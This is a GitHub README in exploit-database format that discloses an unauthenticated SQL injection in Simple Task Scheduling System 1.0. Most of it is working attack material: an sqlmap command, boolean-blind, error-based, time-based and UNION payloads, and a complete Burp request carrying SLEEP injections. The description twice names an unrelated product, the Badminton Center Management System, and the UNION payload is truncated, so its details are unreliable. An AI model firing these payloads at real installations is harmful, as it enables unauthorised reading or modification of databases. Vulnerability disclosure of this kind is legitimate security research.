ykosan1 / **Simple-Task-Scheduling-System-id-SQL-Injection-Unauthenticated**

Public

Badminton Center Management System allows SQL Injection via parameter 'id' in /tss/admin/categories/manage_category.php. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

README.md

Exploit Title: Simple Task Scheduling System - 'id' SQL Injection (Unauthenticated)

Date: 2022-05-13

Exploit Author: Yusuf Kosan

Vendor Homepage: https://www.sourcecodester.com/php/15328

/simple-task-scheduler-system-phpoop-free-source-code.html

Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/tss.zip

Version: 1.0

Tested on: Windows 10 Pro + PHP 8.0.11, Apache 2.4.51

1. Description:

Badminton Center Management System allows SQL Injection via parameter 'id' in /tss/admin/categories/manage_category.php. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

2. Proof of Concept:

In Burpsuite intercept the request from the affected page with 'id' parameter and save it like poc.txt Then run SQLmap to extract the data from the database:

sqlmap.py -r poc.txt --dbms=mysql

3. Example payloads:

Parameter: id (GET)

```
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: id=test' AND 9297=(SELECT (CASE WHEN (9297=9297) THEN 9297 ELSE (SELECT
7413 UNION SELECT 9163) END))-- -

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(FLOOR)
Payload: id=test' OR (SELECT 9795 FROM(SELECT COUNT(*),CONCAT(0x716a6a7a71,
(SELECT (ELT(9795=9795,1))),0x717a766b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sfrH

Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
Payload: id=test' OR SLEEP(5)-- GpAd

Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: id=test' UNION ALL SELECT
CONCAT(0x716a6a7a71,0x50674e525550676378476554777786d547768554a72737071775576424978 70
- -
```

4. Burpsuite request:

GET /tss/admin/categories/manage_category.php?id=1%20%2b%20((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))%2f*%27XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR%27%7c%22XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR%22*%2f%20%2f*%20e0e2126f-64a0-4978-8793-4a2a83505579%20*%2f HTTP/1.1 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.5 Cache-Control: no-cache Cookie: PHPSESSID=fmfcovf7hgik2ujtn44q1clij5 Referer: http://localhost/tss/admin/?page=categories User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36

Releases

No releases published

Packages

Packages

No packages published